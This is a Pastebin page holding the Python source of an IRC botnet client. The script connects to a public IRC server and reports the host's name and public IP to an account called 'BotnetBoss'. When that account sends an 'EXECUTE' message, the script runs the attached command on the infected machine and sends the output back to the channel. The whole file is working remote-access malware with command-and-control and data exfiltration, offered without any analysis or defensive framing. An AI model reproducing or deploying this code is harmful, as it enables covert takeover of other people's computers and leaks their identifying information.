Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import sys
- import socket
- import string
- import subprocess
- import ipgetter
- import random
- from time import sleep
- HOST="irc.freenode.net"
- PORT=6667
- N=6
- randname = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(N))
- NICK=randname
- IDENT=randname
- REALNAME=randname
- readbuffer=""
- channel="#nullbyte"
- s=socket.socket( )
- def connect():
- s.connect((HOST, PORT))
- s.send("NICK %s\r\n" % NICK)
- s.send("USER %s %s bla :%s\r\n" % (IDENT, HOST, REALNAME))
- while 1:
- global readbuffer
- readbuffer=readbuffer+s.recv(1024)
- temp=string.split(readbuffer, "\n")
- readbuffer=temp.pop( )
- for line in temp:
- line=string.rstrip(line)
- line=string.split(line)
- if(line[0]=="PING"):
- s.send("PONG %s\r\n" % line[1])
- elif(line[3]==":+i"):
- return
- def listen():
- s.send("JOIN "+channel+"\r\n")
- print("joining chan")
- host = "SWM:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n"
- s.send("PRIVMSG BotnetBoss "+host+"\r\n")
- while 1:
- global readbuffer
- readbuffer=readbuffer+s.recv(1024)
- temp=string.split(readbuffer, "\n")
- readbuffer=temp.pop( )
- for line in temp:
- line=string.rstrip(line)
- line=string.split(line)
- print(line)
- if(line[0]=="PING"):
- s.send("PONG %s\r\n" % line[1])
- elif len(line) > 3:
- if "BotnetBoss" in line[0] and "EXECUTE" in line[3]:
- print("Executing stuff")
- command = []
- for x in range(4, len(line)):
- command.append(str(line[x]))
- reply = ""
- print(command)
- try:
- proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
- output = proc.stdout.read()+proc.stderr.read()
- except Exception as e:
- output = "Command failed with error: "+str(e)
- print("process done")
- tempo = output.replace('\n','\h')
- print(output)
- n = 128
- reply = [tempo[i:i+n] for i in range(0, len(tempo), n)]
- for text in reply:
- print(repr(text))
- s.sendall("PRIVMSG #nullbyte :"+str(text)+"\r\n")
- sleep(3.5)
- elif "RESPOND" in line[3]:
- host = "SWM:"+socket.gethostname()+":"+ipgetter.myip()+"\r\n"
- s.send("PRIVMSG BotnetBoss "+host+"\r\n")
- try:
- connect()
- print("done connecing")
- listen()
- except KeyboardInterrupt:
- s.sendall("QUIT\r\n")
Add Comment
Please, Sign In to add comment